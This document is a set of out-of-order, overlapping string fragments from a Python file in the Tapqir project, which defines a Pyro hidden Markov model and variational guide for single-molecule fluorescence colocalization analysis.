"Probability of there being a target-specific spot :math:`p(z=1)` \"\"\" result = self._sequential_logmatmulexp(pyro.param(\"z_trans\").data.log()) return",
"int = 1, K: int = 2, channels: Union[tuple, list] = (0,), device:",
"or gpu). :param dtype: Floating point precision. :param use_pykeops: Use pykeops as backend",
"new_left_term else: alphas = _logmatmulexp(left_term, sum_term) return alphas @staticmethod def _contraction_identity(logits: torch.Tensor) ->",
"sum_terms = [] # up sweep while logits.size(-3) > 1: time = logits.size(-3)",
"dist.Bernoulli(Vindex(probs_m(lamda, self.K))[..., theta, kdx]), ) with handlers.mask(mask=m > 0): # sample spot variables",
"time = sum_term.size(-3) even_time = time // 2 * 2 if time >",
"ELBO-based SVI that supports - exhaustive enumeration over discrete sample sites, and -",
"new_left_term[..., :even_time:2, :, :] = left_term new_left_term[..., 1:even_time:2, :, :] = left_sum_and_term left_term",
"frames: if self.vectorized: fsx, fdx = fdx else: fsx = fdx # sample",
"backend to marginalize out offset. :param vectorized: Vectorize time-dimension. \"\"\" name = \"hmm\"",
"= pyro.plate(\"spots\", self.K) # aoi sites aois = pyro.plate( \"aois\", self.data.Nt, subsample=self.n, subsample_size=self.nbatch_size,",
"0): # sample spot variables height = pyro.sample( f\"height_{kdx}_{fsx}\", dist.HalfNormal(10000), ) width =",
"constraint=constraints.interval( 0.75 + torch.finfo(self.dtype).eps, 2.25 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"w_size\", lambda: torch.full((self.K,",
"pyro.sample( \"proximity\", AffineBeta( pyro.param(\"proximity_loc\"), pyro.param(\"proximity_size\"), 0, (self.data.P + 1) / math.sqrt(12), ), )",
"1. <NAME>, <NAME>, <NAME>, Theobald DL. Bayesian machine learning analysis of single-molecule fluorescence",
"subsample=self.n, subsample_size=self.nbatch_size, dim=-2, ) # time frames frames = ( pyro.vectorized_markov(name=\"frames\", size=self.data.F, dim=-1)",
"dist.Gamma( Vindex(pyro.param(\"h_loc\"))[kdx, ndx, fdx] * Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], ), )",
":, :] = left_term new_left_term[..., 1:even_time:2, :, :] = left_sum_and_term left_term = new_left_term",
"torch.nn.functional import one_hot from tapqir.distributions import KSMOGN, AffineBeta from tapqir.distributions.util import expand_offtarget, probs_m,",
"pyro.param( \"lamda_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.positive, ) pyro.param( \"lamda_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive,",
"/ 2, (self.data.P + 1) / 2, ), ) # append ms.append(m) heights.append(height)",
"= fdx # fetch data obs, target_locs, is_ontarget = self.data.fetch(ndx, fdx, self.cdx) #",
"\"background_mean\", dist.Delta(Vindex(pyro.param(\"background_mean_loc\"))[ndx, 0]), ) pyro.sample( \"background_std\", dist.Delta(Vindex(pyro.param(\"background_std_loc\"))[ndx, 0]), ) z_prev = None for",
"pyroapi import distributions as dist from pyroapi import handlers, infer, pyro from torch.nn.functional",
"(1, 1)) return result @property def z_probs(self) -> torch.Tensor: r\"\"\" Probability of there",
"(data.P + 1) / 2 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"y_mean\", lambda: torch.zeros(self.K,",
"= z_curr def init_parameters(self): \"\"\" Initialize variational parameters. \"\"\" device = self.device data",
"data.F), 200, device=device), constraint=constraints.greater_than(2.0), ) # classification pyro.param( \"z_trans\", lambda: torch.ones( data.Nt, data.F,",
"fdx], ), ) # sample hidden model state (3,1,1,1) z_probs = ( Vindex(pyro.param(\"z_trans\"))[ndx,",
"ys = [], [], [], [], [] for kdx in spots: specific =",
"// 2 * 2 if time > even_time: new_left_term[..., time - 1 :",
"of ELBO-based SVI that supports - exhaustive enumeration over discrete sample sites, and",
"<NAME>, <NAME>, Theobald DL. Bayesian machine learning analysis of single-molecule fluorescence colocalization images.",
") with aois as ndx: ndx = ndx[:, None] # background mean and",
"torch.full((self.K, data.Nt, data.F), 0.001, device=device), constraint=constraints.positive, ) pyro.param( \"w_mean\", lambda: torch.full((self.K, data.Nt, data.F),",
"TraceELBO(self, jit=False): \"\"\" A trace implementation of ELBO-based SVI that supports - exhaustive",
"torch.Tensor) -> torch.Tensor: \"\"\" For a tensor ``x`` whose time dimension is -3,",
"time // 2 * 2 if time > even_time: new_left_term[..., time - 1",
"Vindex from pyroapi import distributions as dist from pyroapi import handlers, infer, pyro",
"else infer.TraceMarkovEnum_ELBO )(max_plate_nesting=2, ignore_jit_warnings=True) return (infer.JitTraceEnum_ELBO if jit else infer.TraceEnum_ELBO)( max_plate_nesting=2, ignore_jit_warnings=True )",
"1) / math.sqrt(12), ), ) # spots spots = pyro.plate(\"spots\", self.K) # aoi",
"device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"lamda_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.positive, ) pyro.param( \"lamda_beta\", lambda:",
"= vectorized super().__init__(S, K, channels, device, dtype, use_pykeops) self.conv_params = [\"-ELBO\", \"proximity_loc\", \"gain_loc\",",
"\"background_mean_loc\", lambda: torch.full( (data.Nt, 1), data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param(",
"2, 2, state_dim, state_dim) ) x, y = x_y.unbind(-3) contracted = _logmatmulexp(x, y)",
"pyro.sample( f\"theta_{fdx}\", dist.Categorical( Vindex(probs_theta(self.K, self.device))[ torch.clamp(z_curr, min=0, max=1) ] ), infer={\"enumerate\": \"parallel\"}, )",
"torch.Tensor: r\"\"\" Probability of there being a target-specific spot :math:`p(\\mathsf{specific})` \"\"\" return self.z_probs",
"lambda: torch.tensor(0.5, device=device), constraint=constraints.interval( 0, (self.data.P + 1) / math.sqrt(12) - torch.finfo(self.dtype).eps, ),",
"fdx in frames: if self.vectorized: fsx, fdx = fdx else: fsx = fdx",
"\"\"\" # global parameters gain = pyro.sample(\"gain\", dist.HalfNormal(50)) init = pyro.sample( \"init\", dist.Dirichlet(torch.ones(self.S",
":param K: Maximum number of spots that can be present in a single",
"torch.Tensor: r\"\"\" Posterior spot presence probability :math:`q(m=1)`. \"\"\" return torch.einsum( \"knf,nf->knf\", pyro.param(\"m_probs\").data[1], self.pspecific,",
"lambda: torch.full( (data.Nt, data.F), data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param( \"b_beta\",",
"spots: # spot presence m_probs = Vindex(pyro.param(\"m_probs\"))[z_curr, kdx, ndx, fdx] m = pyro.sample(",
"state_dim, state_dim) ) x, y = x_y.unbind(-3) contracted = _logmatmulexp(x, y) if time",
"1) / (self.S + 1)).to_event( 1 ), ) trans = expand_offtarget(trans) lamda =",
"), constraint=constraints.simplex, ) pyro.param( \"m_probs\", lambda: torch.full( (1 + self.S, self.K, self.data.Nt, self.data.F),",
"kdx in spots: # spot presence m_probs = Vindex(pyro.param(\"m_probs\"))[z_curr, kdx, ndx, fdx] m",
"r\"\"\" Posterior spot presence probability :math:`q(m=1)`. \"\"\" return torch.einsum( \"knf,nf->knf\", pyro.param(\"m_probs\").data[1], self.pspecific, )",
"), obs=obs, ) z_prev = z_curr def guide(self): \"\"\" **Variational Distribution** \"\"\" #",
"sites aois = pyro.plate( \"aois\", self.data.Nt, subsample=self.n, subsample_size=self.nbatch_size, dim=-2, ) # time frames",
"1) / 2 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"size\", lambda: torch.full((self.K, data.Nt, data.F),",
"pyro.sample( f\"z_{fsx}\", dist.Categorical(z_probs), infer={\"enumerate\": \"parallel\"}, ) for kdx in spots: # spot presence",
"m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Categorical(m_probs), infer={\"enumerate\": \"parallel\"}, ) with handlers.mask(mask=m > 0): #",
"Computation device (cpu or gpu). :param dtype: Floating point precision. :param use_pykeops: Use",
"case sum_term = sum_terms.pop() left_term = HMM._contraction_identity(sum_term) # down sweep while sum_terms: sum_term",
"), constraint=constraints.unit_interval, ) def TraceELBO(self, jit=False): \"\"\" A trace implementation of ELBO-based SVI",
") x = pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P + 1) /",
"return ( infer.JitTraceMarkovEnum_ELBO if jit else infer.TraceMarkovEnum_ELBO )(max_plate_nesting=2, ignore_jit_warnings=True) return (infer.JitTraceEnum_ELBO if jit",
"2 + torch.finfo(self.dtype).eps, (data.P + 1) / 2 - torch.finfo(self.dtype).eps, ), ) pyro.param(",
"_contraction_identity(logits: torch.Tensor) -> torch.Tensor: batch_shape = logits.shape[:-2] state_dim = logits.size(-1) result = torch.eye(state_dim).log()",
"Maximum number of spots that can be present in a single image. :param",
"height = pyro.sample( f\"height_{kdx}_{fsx}\", dist.HalfNormal(10000), ) width = pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( 1.5, 2,",
"2.25, ), ) x = pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P +",
"widths.append(width) xs.append(x) ys.append(y) # observed data pyro.sample( f\"data_{fsx}\", KSMOGN( torch.stack(heights, -1), torch.stack(widths, -1),",
"constraint=constraints.greater_than(2.0), ) pyro.param( \"lamda_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.positive, ) pyro.param( \"lamda_beta\", lambda: torch.tensor(100,",
"1) / 2, (self.data.P + 1) / 2, ), ) pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta(",
"constraint=constraints.positive, ) pyro.param( \"init_mean\", lambda: torch.ones(self.S + 1, device=device), constraint=constraints.simplex, ) pyro.param( \"init_size\",",
"1) / 2 + torch.finfo(self.dtype).eps, (data.P + 1) / 2 - torch.finfo(self.dtype).eps, ),",
"constraint=constraints.positive, ) pyro.param( \"b_beta\", lambda: torch.ones(data.Nt, data.F, device=device), constraint=constraints.positive, ) pyro.param( \"h_loc\", lambda:",
"\"trans\", dist.Dirichlet(torch.ones(self.S + 1, self.S + 1) / (self.S + 1)).to_event( 1 ),",
":, is_ontarget.long()] ) z_curr = pyro.sample(f\"z_{fsx}\", dist.Categorical(z_probs)) theta = pyro.sample( f\"theta_{fdx}\", dist.Categorical( Vindex(probs_theta(self.K,",
"in the guide. \"\"\" if self.vectorized: return ( infer.JitTraceMarkovEnum_ELBO if jit else infer.TraceMarkovEnum_ELBO",
"background_std) ** 2, background_mean / background_std ** 2, ), ) # sample hidden",
"KSMOGN, AffineBeta from tapqir.distributions.util import expand_offtarget, probs_m, probs_theta from tapqir.models.cosmos import Cosmos class",
"(1 + self.S, self.K, self.data.Nt, self.data.F), 0.5, device=device, ), constraint=constraints.unit_interval, ) def TraceELBO(self,",
"HMM(Cosmos): r\"\"\" **Single-Color Hidden Markov Colocalization Model** .. note:: This model is used",
"left_sum_and_term = _logmatmulexp(left_term, left_sum) new_left_term[..., :even_time:2, :, :] = left_term new_left_term[..., 1:even_time:2, :,",
"being a target-specific spot :math:`p(z=1)` \"\"\" result = self._sequential_logmatmulexp(pyro.param(\"z_trans\").data.log()) return result[..., 0, 1].exp()",
"discrete sample sites, and - local parallel sampling over any sample site in",
"sum_terms.pop() left_term = HMM._contraction_identity(sum_term) # down sweep while sum_terms: sum_term = sum_terms.pop() new_left_term",
": ] left_term = left_term[..., : even_time // 2, :, :] left_sum =",
"is_ontarget.long()] ) z_curr = pyro.sample(f\"z_{fsx}\", dist.Categorical(z_probs)) theta = pyro.sample( f\"theta_{fdx}\", dist.Categorical( Vindex(probs_theta(self.K, self.device))[",
"pyro.param( \"init_mean\", lambda: torch.ones(self.S + 1, device=device), constraint=constraints.simplex, ) pyro.param( \"init_size\", lambda: torch.tensor(2,",
"x[..., 1, :, :] @ ... @ x[..., T-1, :, :] but does",
"] ), infer={\"enumerate\": \"parallel\"}, ) onehot_theta = one_hot(theta, num_classes=1 + self.K) ms, heights,",
"even_part = logits[..., :even_time, :, :] x_y = even_part.reshape( batch_shape + (even_time //",
"a tensor ``x`` whose time dimension is -3, computes:: x[..., 0, :, :]",
"/ 2, (self.data.P + 1) / 2, ), ) pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"y_mean\"))[kdx,",
"-(data.P + 1) / 2 + torch.finfo(self.dtype).eps, (data.P + 1) / 2 -",
"constraint=constraints.positive, ) pyro.param( \"h_loc\", lambda: torch.full((self.K, data.Nt, data.F), 2000, device=device), constraint=constraints.positive, ) pyro.param(",
"Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], ), ) pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"w_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"w_size\"))[kdx, ndx,",
"from tapqir.models.cosmos import Cosmos class HMM(Cosmos): r\"\"\" **Single-Color Hidden Markov Colocalization Model** ..",
"= _logmatmulexp(left_term, left_sum) new_left_term[..., :even_time:2, :, :] = left_term new_left_term[..., 1:even_time:2, :, :]",
") # append ms.append(m) heights.append(height) widths.append(width) xs.append(x) ys.append(y) # observed data pyro.sample( f\"data_{fsx}\",",
"// 2 : even_time // 2 + 1, :, : ] left_term =",
"widths, xs, ys = [], [], [], [], [] for kdx in spots:",
"-> torch.Tensor: r\"\"\" Posterior spot presence probability :math:`q(m=1)`. \"\"\" return torch.einsum( \"knf,nf->knf\", pyro.param(\"m_probs\").data[1],",
"\"lamda_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"init_mean\", lambda: torch.ones(self.S + 1, device=device),",
"1, device=device), constraint=constraints.positive, ) pyro.param( \"b_loc\", lambda: torch.full( (data.Nt, data.F), data.median - self.data.offset.mean,",
"pyro.param( \"proximity_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.interval( 0, (self.data.P + 1) / math.sqrt(12) -",
"logits.size(-3) even_time = time // 2 * 2 even_part = logits[..., :even_time, :,",
"Vindex(init)[..., :, is_ontarget.long()] if isinstance(fdx, int) and fdx < 1 else Vindex(trans)[..., z_prev,",
"supports - exhaustive enumeration over discrete sample sites, and - local parallel sampling",
"# spots spots = pyro.plate(\"spots\", self.K) # aoi sites aois = pyro.plate( \"aois\",",
"pyro.sample( f\"m_{kdx}_{fsx}\", dist.Bernoulli(Vindex(probs_m(lamda, self.K))[..., theta, kdx]), ) with handlers.mask(mask=m > 0): # sample",
"f\"m_{kdx}_{fsx}\", dist.Bernoulli(Vindex(probs_m(lamda, self.K))[..., theta, kdx]), ) with handlers.mask(mask=m > 0): # sample spot",
"sample sites, and - local parallel sampling over any sample site in the",
"logits.shape[:-3] state_dim = logits.size(-1) sum_terms = [] # up sweep while logits.size(-3) >",
"tapqir.distributions import KSMOGN, AffineBeta from tapqir.distributions.util import expand_offtarget, probs_m, probs_theta from tapqir.models.cosmos import",
"= one_hot(theta, num_classes=1 + self.K) ms, heights, widths, xs, ys = [], [],",
":] left_sum_and_term = _logmatmulexp(left_term, left_sum) new_left_term[..., :even_time:2, :, :] = left_term new_left_term[..., 1:even_time:2,",
"fdx] m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Categorical(m_probs), infer={\"enumerate\": \"parallel\"}, ) with handlers.mask(mask=m > 0):",
": even_time // 2, :, :] left_sum = sum_term[..., :even_time:2, :, :] left_sum_and_term",
"mean and std background_mean = pyro.sample(\"background_mean\", dist.HalfNormal(1000)) background_std = pyro.sample(\"background_std\", dist.HalfNormal(100)) z_prev =",
"+ 1) / 2, ), ) # append ms.append(m) heights.append(height) widths.append(width) xs.append(x) ys.append(y)",
"2.25 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"w_size\", lambda: torch.full((self.K, data.Nt, data.F), 100, device=device),",
"Copyright Contributors to the Tapqir project. # SPDX-License-Identifier: Apache-2.0 \"\"\" hmm ^^^ \"\"\"",
"= pyro.sample( f\"height_{kdx}_{fsx}\", dist.HalfNormal(10000), ) width = pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( 1.5, 2, 0.75,",
"1: time = logits.size(-3) even_time = time // 2 * 2 even_part =",
"# sample spot variables height = pyro.sample( f\"height_{kdx}_{fsx}\", dist.HalfNormal(10000), ) width = pyro.sample(",
"number of spots that can be present in a single image. :param channels:",
"proximity = pyro.sample(\"proximity\", dist.Exponential(1)) size = torch.stack( ( torch.full_like(proximity, 2.0), (((self.data.P + 1)",
"1 + kdx] # spot presence m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Bernoulli(Vindex(probs_m(lamda, self.K))[..., theta,",
"data obs, target_locs, is_ontarget = self.data.fetch(ndx, fdx, self.cdx) # sample background intensity background",
"if isinstance(fdx, int) and fdx < 1 else Vindex(trans)[..., z_prev, :, is_ontarget.long()] )",
"(infer.JitTraceEnum_ELBO if jit else infer.TraceEnum_ELBO)( max_plate_nesting=2, ignore_jit_warnings=True ) @staticmethod def _sequential_logmatmulexp(logits: torch.Tensor) ->",
"Number of distinct molecular states for the binder molecules. :param K: Maximum number",
"= left_sum_and_term left_term = new_left_term else: alphas = _logmatmulexp(left_term, sum_term) return alphas @staticmethod",
"lambda: torch.full((self.K, data.Nt, data.F), 100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"x_mean\", lambda: torch.zeros(self.K, data.Nt,",
"\"\"\" device = self.device data = self.data pyro.param( \"proximity_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.interval(",
"fdx < 1 else Vindex(pyro.param(\"z_trans\"))[ndx, fdx, z_prev] ) z_curr = pyro.sample( f\"z_{fsx}\", dist.Categorical(z_probs),",
"= [] # up sweep while logits.size(-3) > 1: time = logits.size(-3) even_time",
"0] if isinstance(fdx, int) and fdx < 1 else Vindex(pyro.param(\"z_trans\"))[ndx, fdx, z_prev] )",
"pyro.param(\"lamda_loc\") * pyro.param(\"lamda_beta\"), pyro.param(\"lamda_beta\"), ), ) pyro.sample( \"proximity\", AffineBeta( pyro.param(\"proximity_loc\"), pyro.param(\"proximity_size\"), 0, (self.data.P",
"1:even_time:2, :, :] = left_sum_and_term left_term = new_left_term else: alphas = _logmatmulexp(left_term, sum_term)",
"data pyro.sample( f\"data_{fsx}\", KSMOGN( torch.stack(heights, -1), torch.stack(widths, -1), torch.stack(xs, -1), torch.stack(ys, -1), target_locs,",
":math:`p(\\mathsf{specific})` \"\"\" return self.z_probs @property def m_probs(self) -> torch.Tensor: r\"\"\" Posterior spot presence",
"# classification pyro.param( \"z_trans\", lambda: torch.ones( data.Nt, data.F, 1 + self.S, 1 +",
"Model** .. note:: This model is used for kinetic simulations. Efficient fitting is",
"constraint=constraints.positive, ) pyro.param( \"gain_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"background_mean_loc\", lambda: torch.full(",
"= x_y.unbind(-3) contracted = _logmatmulexp(x, y) if time > even_time: contracted = torch.cat((contracted,",
"torch.full((self.K, data.Nt, data.F), 1.5, device=device), constraint=constraints.interval( 0.75 + torch.finfo(self.dtype).eps, 2.25 - torch.finfo(self.dtype).eps, ),",
"state_dim = logits.size(-1) result = torch.eye(state_dim).log() result = result.reshape((1,) * len(batch_shape) + (state_dim,",
"with aois as ndx: ndx = ndx[:, None] pyro.sample( \"background_mean\", dist.Delta(Vindex(pyro.param(\"background_mean_loc\"))[ndx, 0]), )",
"torch.finfo(self.dtype).eps, ), ) pyro.param( \"size\", lambda: torch.full((self.K, data.Nt, data.F), 200, device=device), constraint=constraints.greater_than(2.0), )",
"pyro.param( \"w_size\", lambda: torch.full((self.K, data.Nt, data.F), 100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"x_mean\", lambda:",
"-1), target_locs, background, gain, self.data.offset.samples, self.data.offset.logits.to(self.dtype), self.data.P, torch.stack(torch.broadcast_tensors(*ms), -1), self.use_pykeops, ), obs=obs, )",
"\"trans_size\", lambda: torch.full((self.S + 1, 1), 2, device=device), constraint=constraints.positive, ) pyro.param( \"gain_loc\", lambda:",
"else: alphas = _logmatmulexp(left_term, sum_term) return alphas @staticmethod def _contraction_identity(logits: torch.Tensor) -> torch.Tensor:",
"torch.stack(ys, -1), target_locs, background, gain, self.data.offset.samples, self.data.offset.logits.to(self.dtype), self.data.P, torch.stack(torch.broadcast_tensors(*ms), -1), self.use_pykeops, ), obs=obs,",
"use_pykeops: bool = True, vectorized: bool = False, ): self.vectorized = vectorized super().__init__(S,",
"200, device=device), constraint=constraints.greater_than(2.0), ) # classification pyro.param( \"z_trans\", lambda: torch.ones( data.Nt, data.F, 1",
"ndx, fdx] * Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], ), ) pyro.sample( f\"width_{kdx}_{fsx}\",",
"\"lamda\", dist.Gamma( pyro.param(\"lamda_loc\") * pyro.param(\"lamda_beta\"), pyro.param(\"lamda_beta\"), ), ) pyro.sample( \"proximity\", AffineBeta( pyro.param(\"proximity_loc\"), pyro.param(\"proximity_size\"),",
"there being a target-specific spot :math:`p(\\mathsf{specific})` \"\"\" return self.z_probs @property def m_probs(self) ->",
"Cosmos class HMM(Cosmos): r\"\"\" **Single-Color Hidden Markov Colocalization Model** .. note:: This model",
"guide(self): \"\"\" **Variational Distribution** \"\"\" # global parameters pyro.sample( \"gain\", dist.Gamma( pyro.param(\"gain_loc\") *",
"pyro.sample( \"background_mean\", dist.Delta(Vindex(pyro.param(\"background_mean_loc\"))[ndx, 0]), ) pyro.sample( \"background_std\", dist.Delta(Vindex(pyro.param(\"background_std_loc\"))[ndx, 0]), ) z_prev = None",
"0]), ) z_prev = None for fdx in frames: if self.vectorized: fsx, fdx",
"\"cpu\", dtype: str = \"double\", use_pykeops: bool = True, vectorized: bool = False,",
"torch.full( (data.Nt, data.F), data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param( \"b_beta\", lambda:",
"Model** \"\"\" # global parameters gain = pyro.sample(\"gain\", dist.HalfNormal(50)) init = pyro.sample( \"init\",",
"[], [], [], [], [] for kdx in spots: specific = onehot_theta[..., 1",
"torch.tensor(2, device=device), constraint=constraints.positive, ) pyro.param( \"trans_mean\", lambda: torch.ones(self.S + 1, self.S + 1,",
"in log space. \"\"\" batch_shape = logits.shape[:-3] state_dim = logits.size(-1) sum_terms = []",
"while sum_terms: sum_term = sum_terms.pop() new_left_term = HMM._contraction_identity(sum_term) time = sum_term.size(-3) even_time =",
"\"\"\" import math from typing import Union import torch import torch.distributions.constraints as constraints",
"= logits.size(-3) even_time = time // 2 * 2 even_part = logits[..., :even_time,",
"* 2 even_part = logits[..., :even_time, :, :] x_y = even_part.reshape( batch_shape +",
"- 1), ), dim=-1, ) # spots spots = pyro.plate(\"spots\", self.K) # aoi",
"data.F), data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param( \"b_beta\", lambda: torch.ones(data.Nt, data.F,",
"-1), torch.stack(xs, -1), torch.stack(ys, -1), target_locs, background, gain, self.data.offset.samples, self.data.offset.logits.to(self.dtype), self.data.P, torch.stack(torch.broadcast_tensors(*ms), -1),",
"# append ms.append(m) heights.append(height) widths.append(width) xs.append(x) ys.append(y) # observed data pyro.sample( f\"data_{fsx}\", KSMOGN(",
"lambda: torch.full((self.K, data.Nt, data.F), 2000, device=device), constraint=constraints.positive, ) pyro.param( \"h_beta\", lambda: torch.full((self.K, data.Nt,",
") pyro.param( \"gain_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"background_mean_loc\", lambda: torch.full( (data.Nt,",
"data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P + 1) / 2 + torch.finfo(self.dtype).eps, (data.P +",
"max=1) ] ), infer={\"enumerate\": \"parallel\"}, ) onehot_theta = one_hot(theta, num_classes=1 + self.K) ms,",
"/ background_std ** 2, ), ) # sample hidden model state (1+S,) z_probs",
"lambda: torch.full( (data.Nt, 1), data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param( \"background_std_loc\",",
"= expand_offtarget(init) trans = pyro.sample( \"trans\", dist.Dirichlet(torch.ones(self.S + 1, self.S + 1) /",
"\"\"\" A trace implementation of ELBO-based SVI that supports - exhaustive enumeration over",
"] left_term = left_term[..., : even_time // 2, :, :] left_sum = sum_term[...,",
"pyro.sample( \"background_std\", dist.Delta(Vindex(pyro.param(\"background_std_loc\"))[ndx, 0]), ) z_prev = None for fdx in frames: if",
":] = left_sum_and_term left_term = new_left_term else: alphas = _logmatmulexp(left_term, sum_term) return alphas",
"\"background_std\", dist.Delta(Vindex(pyro.param(\"background_std_loc\"))[ndx, 0]), ) z_prev = None for fdx in frames: if self.vectorized:",
"\"b_beta\", lambda: torch.ones(data.Nt, data.F, device=device), constraint=constraints.positive, ) pyro.param( \"h_loc\", lambda: torch.full((self.K, data.Nt, data.F),",
"= logits[..., :even_time, :, :] x_y = even_part.reshape( batch_shape + (even_time // 2,",
"[], [] for kdx in spots: specific = onehot_theta[..., 1 + kdx] #",
"pyro.param(\"proximity_loc\"), pyro.param(\"proximity_size\"), 0, (self.data.P + 1) / math.sqrt(12), ), ) # spots spots",
"device, dtype, use_pykeops) self.conv_params = [\"-ELBO\", \"proximity_loc\", \"gain_loc\", \"lamda_loc\"] self._global_params = [\"gain\", \"proximity\",",
"torch.ones(self.S + 1, device=device), constraint=constraints.simplex, ) pyro.param( \"init_size\", lambda: torch.tensor(2, device=device), constraint=constraints.positive, )",
"kinetic simulations. Efficient fitting is not yet supported. **Reference**: 1. <NAME>, <NAME>, <NAME>,",
") pyro.sample( \"background_std\", dist.Delta(Vindex(pyro.param(\"background_std_loc\"))[ndx, 0]), ) z_prev = None for fdx in frames:",
"with handlers.mask(mask=m > 0): # sample spot variables height = pyro.sample( f\"height_{kdx}_{fsx}\", dist.HalfNormal(10000),",
"ndx: ndx = ndx[:, None] # background mean and std background_mean = pyro.sample(\"background_mean\",",
"/ 2 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"y_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device),",
"lambda: torch.full((self.K, data.Nt, data.F), 0.001, device=device), constraint=constraints.positive, ) pyro.param( \"w_mean\", lambda: torch.full((self.K, data.Nt,",
"- self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param( \"b_beta\", lambda: torch.ones(data.Nt, data.F, device=device), constraint=constraints.positive,",
")(max_plate_nesting=2, ignore_jit_warnings=True) return (infer.JitTraceEnum_ELBO if jit else infer.TraceEnum_ELBO)( max_plate_nesting=2, ignore_jit_warnings=True ) @staticmethod def",
"is not yet supported. **Reference**: 1. <NAME>, <NAME>, <NAME>, Theobald DL. Bayesian machine",
"@staticmethod def _contraction_identity(logits: torch.Tensor) -> torch.Tensor: batch_shape = logits.shape[:-2] state_dim = logits.size(-1) result",
"up sweep while logits.size(-3) > 1: time = logits.size(-3) even_time = time //",
"= pyro.sample( f\"m_{kdx}_{fsx}\", dist.Bernoulli(Vindex(probs_m(lamda, self.K))[..., theta, kdx]), ) with handlers.mask(mask=m > 0): #",
"new_left_term[..., 1:even_time:2, :, :] = left_sum_and_term left_term = new_left_term else: alphas = _logmatmulexp(left_term,",
"init = pyro.sample( \"init\", dist.Dirichlet(torch.ones(self.S + 1) / (self.S + 1)) ) init",
"data.F), 2000, device=device), constraint=constraints.positive, ) pyro.param( \"h_beta\", lambda: torch.full((self.K, data.Nt, data.F), 0.001, device=device),",
"with handlers.mask(mask=m > 0): # sample spot variables pyro.sample( f\"height_{kdx}_{fsx}\", dist.Gamma( Vindex(pyro.param(\"h_loc\"))[kdx, ndx,",
"fdx = fdx else: fsx = fdx # fetch data obs, target_locs, is_ontarget",
"K: int = 2, channels: Union[tuple, list] = (0,), device: str = \"cpu\",",
") pyro.param( \"m_probs\", lambda: torch.full( (1 + self.S, self.K, self.data.Nt, self.data.F), 0.5, device=device,",
"0.75 + torch.finfo(self.dtype).eps, 2.25 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"w_size\", lambda: torch.full((self.K, data.Nt,",
"else infer.TraceEnum_ELBO)( max_plate_nesting=2, ignore_jit_warnings=True ) @staticmethod def _sequential_logmatmulexp(logits: torch.Tensor) -> torch.Tensor: \"\"\" For",
"torch.tensor(5, device=device), constraint=constraints.positive, ) pyro.param( \"gain_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"background_mean_loc\",",
"1)) ) init = expand_offtarget(init) trans = pyro.sample( \"trans\", dist.Dirichlet(torch.ones(self.S + 1, self.S",
"= pyro.sample(f\"z_{fsx}\", dist.Categorical(z_probs)) theta = pyro.sample( f\"theta_{fdx}\", dist.Categorical( Vindex(probs_theta(self.K, self.device))[ torch.clamp(z_curr, min=0, max=1)",
"# time frames frames = ( pyro.vectorized_markov(name=\"frames\", size=self.data.F, dim=-1) if self.vectorized else pyro.markov(range(self.data.F))",
"use_pykeops: Use pykeops as backend to marginalize out offset. :param vectorized: Vectorize time-dimension.",
"(self.data.P + 1) / 2, ), ) # append ms.append(m) heights.append(height) widths.append(width) xs.append(x)",
"= result.reshape((1,) * len(batch_shape) + (state_dim, state_dim)) result = result.repeat(batch_shape + (1, 1))",
"device=device), constraint=constraints.simplex, ) pyro.param( \"init_size\", lambda: torch.tensor(2, device=device), constraint=constraints.positive, ) pyro.param( \"trans_mean\", lambda:",
"lambda: torch.ones(data.Nt, 1, device=device), constraint=constraints.positive, ) pyro.param( \"b_loc\", lambda: torch.full( (data.Nt, data.F), data.median",
"dist.Categorical(m_probs), infer={\"enumerate\": \"parallel\"}, ) with handlers.mask(mask=m > 0): # sample spot variables pyro.sample(",
"Number of color channels. :param device: Computation device (cpu or gpu). :param dtype:",
"time dimension is -3, computes:: x[..., 0, :, :] @ x[..., 1, :,",
"2, ), ) # append ms.append(m) heights.append(height) widths.append(width) xs.append(x) ys.append(y) # observed data",
